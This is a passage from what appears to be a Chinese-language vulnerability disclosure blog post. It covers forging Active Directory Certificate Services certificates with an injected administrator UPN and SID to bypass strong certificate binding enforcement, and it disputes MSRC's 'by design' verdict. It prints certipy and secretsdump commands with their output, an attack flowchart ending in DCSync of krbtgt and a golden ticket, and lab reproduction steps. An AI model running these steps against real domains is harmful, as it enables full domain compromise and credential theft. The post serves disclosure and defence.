2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">$ certipy auth -pfx forged_admin.pfx -password addext \</span><br/><span leaf="">      -dc-ip 192.168.0.110 -domain silentstrike.io -username administrator</span><br/><span leaf="">[*] 证书身份：</span><br/><span leaf="">[*]     SAN UPN: &#39;administrator@silentstrike.io&#39;</span><br/><span leaf="">[*]     安全扩展 SID: &#39;S-1-5-21-12494900-2147801102-4061876462-500&#39;</span><br/><span leaf="">[*] 使用主体: &#39;administrator@silentstrike.io&#39;</span><br/><span leaf="">[*] 尝试获取 TGT...</span><br/><span leaf="">[*] 已获取 TGT</span><br/><span leaf="">[*] 尝试检索 &#39;administrator&#39; 的 NT 哈希</span><br/><span leaf="">[*] 已获取 &#39;administrator@silentstrike.io&#39; 的哈希:</span><br/><span leaf="">        aad3b435b51404eeaad3b435b51404ee:&lt;已隐去&gt;</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">&#34;已获取 TGT。&#34;在强制级别 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">2</span></code><span leaf="">下。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">然后是 MSRC 书面问我是否真的能演示完整域沦陷的部分。用恢复的哈希复制 krbtgt：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">$ secretsdump.py -hashes :&lt;已隐去&gt; \</span><br/><span leaf="">      silentstrike/administrator@192.168.0.110 -just-dc-user krbtgt</span><br/><span leaf="">[*] 使用 DRSUAPI 方法获取 NTDS.DIT 机密</span><br/><span leaf="">krbtgt:502:aad3b435b51404eeaad3b435b51404ee:&lt;已隐去&gt;:::</span><br/><span leaf="">[*] 已获取 Kerberos 密钥</span><br/><span leaf="">krbtgt:aes256-cts-hmac-sha1-96:&lt;已隐去&gt;</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">krbtgt 哈希从 DC 中取出。黄金票据横扫整个林的地界。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cmctest</span></code><span leaf="">，RID 1135，什么组的成员都不是，现在拥有了这个域。（哈希已隐去——这是一次性实验室，但没必要给每个威胁情报爬虫喂一个真实的 krbtgt。）</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">flowchart TD</span><br/><span leaf="">    A[&#34;cmctest (RID 1135, Domain Users)&#34;] --&gt; B[&#34;自动注册一次性证书 (EFS) 用于签名 CMC&#34;]</span><br/><span leaf="">    B --&gt; C[&#34;id-cmc-addExtensions: 注入 SAN=administrator + SID=500&lt;br/&gt;标志 0x80002 &amp;amp; 0xf0000 = 0x80000, 无允许列表&#34;]</span><br/><span leaf="">    C --&gt; D[&#34;打过补丁的 CA 签发证书, 从不标记请求者 SID&#34;]</span><br/><span leaf="">    D --&gt; E[&#34;PKINIT: 匹配的 UPN+SID -&gt; Administrator TGT + NT 哈希&#34;]</span><br/><span leaf="">    E --&gt; F[&#34;DCSync krbtgt -&gt; 完整域沦陷&#34;]</span></code></pre><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">必须说公道话的部分</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这里有一个诚实的微妙之处，我宁愿自己说也不愿让别人替我说。</span><strong><span leaf="">这需要一个 ESC1 形态的模板存在</span></strong><span leaf="">：</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ENROLLEE_SUPPLIES_SUBJECT</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">clientAuth</span></code><span leaf="">EKU、低权限可注册权限、且没有 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">REQUIRE_UPN</span></code><span leaf="">。默认</span><em><span leaf="">发布</span></em><span leaf="">的模板没有一个具有这种形态——内置的 clientAuth 模板都携带 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">REQUIRE_UPN</span></code><span leaf="">或 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">REQUIRE_DNS</span></code><span leaf="">，这会将 SAN 和 SID 拉回到调用方，从而杀死攻击。你需要在环境中有一个 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VulnTemplate</span></code><span leaf="">。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我测试了这条边界而不是断言它，因为这是显而易见的&#34;但在默认模板上能用吗&#34;的问题。一个低权限用户实际能触及的两个默认模板：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><strong style="margin-top: 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">User</span></code></strong><p><span leaf="">，Domain Users 可注册的默认 clientAuth 模板，携带 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">REQUIRE_UPN</span></code><span leaf="">。随便注入；策略模块会将 SAN 和 SID 都改写为你。攻击死亡。</span></p></li><li style="margin: 15px 0px 0px;"><strong style="margin-top: 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Machine</span></code></strong><p><span leaf="">，因 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">MachineAccountQuota</span></code><span leaf="">允许任何 Domain User 创建计算机账户而可达，是 clientAuth 且无 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">REQUIRE_UPN</span></code><span leaf="">——看起来很有希望。我创建了一个计算机账户，给它设置了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">dNSHostName</span></code><span leaf="">，然后对它发射了完全相同的注入（管理员 UPN + 管理员 SID）。签发的证书返回时 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Subject: CN=mazlab.silentstrike.io</span></code><span leaf="">，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SAN: DNSName=mazlab...</span></code><span leaf="">——它的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">REQUIRE_DNS</span></code><span leaf="">覆盖了我伪造的 UPN——以及决定性地，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">NTDS SID = ...-1143</span></code><span leaf="">，即计算机账户自身的 RID，而不是我注入的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">...-500</span></code><span leaf="">。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Machine</span></code><span leaf="">不是注册者自行提供主体，所以 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">certpdef.dll</span></code><span leaf="">走了</span><em style="margin-bottom: 0px;"><span leaf="">生成</span></em><span leaf="">分支并标记了真实的请求者。在 SAN 和 SID 两方面都被阻止了。</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">所以信任分支确实由注册者自行提供主体位控制，唯一落在它上面的就是 ESC1 形态的模板。微软正是借助这一点将整个事情称为配置问题。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这又把我们带回到我开篇提出的论点。如果故事到&#34;ESC1 存在&#34;就结束了，那没问题——那是一个配置错误，大家都同意，去删掉模板。但 KB5014754 不是作为模板卫生的附带品发布的。它被发布，并被文档化，作为让遗留的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ENROLLEE_SUPPLIES_SUBJECT</span></code><span leaf="">模板在你推进删除期间可生存的东西。这就是为什么自 2022 年以来每一份加固指南都将强制级别 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">2</span></code><span leaf="">列为目标状态。环境们是诚实地接受了这笔交易的。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">一个在一条提交路径上触发、在另一条路径上默默无效的防御是一个残破的防御。这是服务行为中的代码缺陷，不是客户的配置错误。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">MSRC 实际说了什么</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我引用原文，因为引用就是重点。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">评审中期，案件经理写道：</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px;"><span leaf="">&#34;确实有可能获得一张 SAN 设为 &#39;Administrator&#39; 的证书。然而，该证书还包含一个标识请求用户的 SID 扩展。当 SAN 和 SID 引用不同身份时，Kerberos 映射预计会失败，证书将被拒绝。&#34;</span></p></blockquote><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">实验 A：证书</span><strong><span leaf="">不包含</span></strong><span leaf="">任何标识请求用户或任何人的 SID 扩展。实验 B：我选择 SID，它不是请求用户，也没有任何东西被拒绝。这个前提在这条路径上事实性地错误，只需两次三十秒的运行就能证明。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">数月后的结案裁决：</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px;"><span leaf="">&#34;本提交被评估为非漏洞……报告的证书签发行为按设计运行。根据文档化的 AD CS 设计，当证书模板不要求注册者提供主体时，CA 从目录信息派生证书主体，并包含含有请求者 SID 的安全扩展，除非被专门抑制。&#34;</span></p></blockquote><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">注意那个破绽。那一段描述的是注册者</span><strong><span leaf="">不</span></strong><span leaf="">提供主体的模板。我的模板设置了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ENROLLEE_SUPPLIES_SUBJECT</span></code><span leaf="">——注册者绝对提供了主体。这份拒绝描述的是一个与 PoC 中不同的模板类别。无论他们复现的是什么，都不是这个。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我不会假装时间线没有刺痛我。两个案件编号，一句&#34;我们需要有效的 PoC&#34;，一段完整的端到端录制视频发出去了，数周的&#34;工程师们还在处理积压&#34;，然后是一份结案，其陈述的理由被我自己的两次对照实验所推翻。我理解分诊是消防水龙。但&#34;按设计&#34;是一个很强的声明，它的门槛应该高于复现错误的模板。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">自行复现</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">论证只有在你能验证时才成立，所以这里是简版。搭建一个实验环境，然后：</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">发布一个模板，设置 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">msPKI-Certificate-Name-Flag = 1</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">msPKI-RA-Signature = 0</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">pKIExtendedKeyUsage</span></code><span leaf="">中包含 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">clientAuth</span></code><span leaf="">、且 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Domain Users</span></code><span leaf="">有 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Enroll</span></code><span leaf="">权限。确认 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CT_FLAG_SUBJECT_ALT_REQUIRE_UPN</span></code><strong style="margin-bottom: 0px;"><span leaf="">未</span></strong><span leaf="">设置。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">确认 DC 上 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">StrongCertificateBindingEnforcement = 2</span></code><span leaf="">，且 CA 的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EditFlags</span></code><span leaf="">中</span><strong><span leaf="">不</span></strong><span leaf="">包含 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span 